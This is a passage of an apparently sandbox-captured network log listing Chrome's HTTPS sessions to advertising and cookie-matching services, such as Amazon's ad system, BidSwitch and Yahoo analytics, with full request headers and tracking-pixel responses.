2024-05-24 22:46:28 UTC	443	OUT	GET /ecm3?ex=pubmaticHMT&id=8HqdmD-3T2Kfc3JXiy0NuQ HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: M6K88MHEA0K1T285ZR52 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.6	50374	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	642	OUT	GET /ecm3?ex=yieldmoHMT&id=QKgTnQyQRDSeGLrmn4OV6w HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: FT6QZBEASFDQ7WY0A2XG Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.6	50375	54.36.150.187	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	641	OUT	GET /input?key=GOO&key=GOO&action=GET_ID&opid=goo&etid=&domid=1109&ops=apx&google_error=3 HTTP/1.1 Host: cookie-matching.mediarithmics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:29 UTC	332	IN	HTTP/1.1 303 See Other location: https://ib.adnxs.com/getuid?https://cookie-matching.mediarithmics.com/input?key=APX&apx_uid=$UID&opid=apx&ops=&utidl=&action=GET_ID&etid=&domid=1109 content-length: 0 date: Fri, 24 May 2024 22:46:29 GMT strict-transport-security: max-age=63072000;includeSubDomains;preload connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.6	50376	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	460	OUT	GET /ecm3?id=UmOkNgvbkM5WJzR4crmtrA&ex=rubiconproject.com&status=ok HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 50RWVF07HJBGD4DKQTB6 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.6	50380	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	450	OUT	GET /ecm3?&ex=nielsen&id=255938791ef4d4d26431397836a1a4e2 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: W5TWFFJYNC01GVBV4NGK Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.6	50369	35.214.149.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	631	OUT	GET /sync_a9/https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dbidswitch.com%26id%3D%24%7BUUID%7D HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:29 UTC	823	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 24 May 2024 22:46:29 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://x.bidswitch.net/ul_cb/sync_a9/https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dbidswitch.com%26id%3D%24%7BUUID%7D Set-Cookie: tuuid=fcd72d80-e37b-47d2-9126-0e4dac7f961d; path=/; expires=Sat, 24-May-2025 22:46:29 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1716590789; path=/; expires=Sat, 24-May-2025 22:46:29 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1716590789; path=/; expires=Sat, 24-May-2025 22:46:29 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1716590789; path=/; expires=Sat, 24-May-2025 22:46:29 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.6	50382	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	440	OUT	GET /ecm3?ex=openxHMT&id=IU6Tn8pARVKPmCDwMrtS3Q HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 3RYV8T33QYGDZMMSW3Y7 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.6	50385	35.186.196.148	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	580	OUT	GET /map?dsp_id=12&uid=bJBYJggHRl-8eMKZ1raaLQ HTTP/1.1 Host: sync.rfp.fout.jp Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:29 UTC	352	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Vary: Accept-Encoding Cache-Control: private, no-cache, no-cache="Set-Cookie", proxy-revalidate P3p: CP="ADM NOI OUR" Pragma: no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.6	50384	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	452	OUT	GET /ecm3?ex=sizmek&id=f61b9649-e91d-4cf8-896a-9588ddfc6d14 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: BF0MJ2G151ZYETRN3AAG Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.6	50379	3.75.62.37	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	703	OUT	GET /cms?partner_id=AMAZON&ex=gemini HTTP/1.1 Host: cms.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes; IDSYNC=19ba~2ily
2024-05-24 22:46:29 UTC	283	IN	HTTP/1.1 302 Redirect Date: Fri, 24 May 2024 22:46:29 GMT Connection: close Server: ATS/9.1.10.112 Cache-Control: no-store Location: https://ups.analytics.yahoo.com/ups/58725/cms?partner_id=AMAZON&ex=gemini Content-Type: text/html Content-Language: en Content-Length: 355
2024-05-24 22:46:29 UTC	355	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 77 68 69 74 65 22 20 46 47 43 4f 4c 4f 52 3d 22 62 6c 61 63 6b 22 3e 0a 3c 48 31 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 3c 48 52 3e 0a 0a 3c 46 4f 4e 54 20 46 41 43 45 3d 22 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 22 3e 3c 42 3e 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 6d 6f 76 65 64 20 74 6f 20 61 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 2e 20 20 54 68 65 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 20 69 73 20 22 68 Data Ascii: <HTML><HEAD><TITLE>Document Has Moved</TITLE></HEAD><BODY BGCOLOR="white" FGCOLOR="black"><H1>Document Has Moved</H1><HR><FONT FACE="Helvetica,Arial"><B>Description: The document you requested has moved to a new location. The new location is "h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.6	50377	188.65.124.66	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	680	OUT	GET /dspreply?dspId=1868&dspUserId=icct8MEfQBmuN1O45B3b6Q&redir=https://s.amazon-adsystem.com/ecm3?ex=dailymotionHMT2&id= HTTP/1.1 Host: public-prod-dspcookiematching.dmxleo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:29 UTC	210	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:29 GMT Content-Length: 0 Connection: close Strict-Transport-Security: max-age=15724800; includeSubDomains X-DM-LB-NAME: ingress-nginx-nginx-in-cluster-qzf9r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.6	50386	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	669	OUT	GET /ecm3?ex=taboola.com&id=80d5cc5b-0a22-4705-9f6f-1861e8006778-tuctd4a9e44 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: HCH3QHCH45SC4GCE9R5P Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.6	50387	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	642	OUT	GET /ecm3?id=219933204892004054749&ex=neustar.biz HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 6G92Q7J48ATZ9FJJXGYF Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.6	50388	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	442	OUT	GET /ecm3?ex=yieldmoHMT&id=QKgTnQyQRDSeGLrmn4OV6w HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: VJ5ZF8KCW1C5BPJ00QQJ Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.6	50389	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	637	OUT	GET /ecm3?ex=bluekai.com&id=Do06cmvS99OskNaZ HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: FB23BY0HQ8TAWVPRSNF7 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.6	50400	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:29 UTC	469	OUT	GET /ecm3?ex=taboola.com&id=80d5cc5b-0a22-4705-9f6f-1861e8006778-tuctd4a9e44 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:30 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: N33SPBBFDQBBJZ9R8BD0 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.6	50390	35.214.149.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	645	OUT	GET /sync_a9/val=xly2KwPTQhOUBoJo6ORVnA&redirect=https://s.amazon-adsystem.com/ecm3?ex=bidswitch.com&id=${UUID} HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:30 UTC	116	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 24 May 2024 22:46:30 GMT Content-Length: 9 Connection: close
2024-05-24 22:46:30 UTC	9	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.6	50396	185.89.210.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
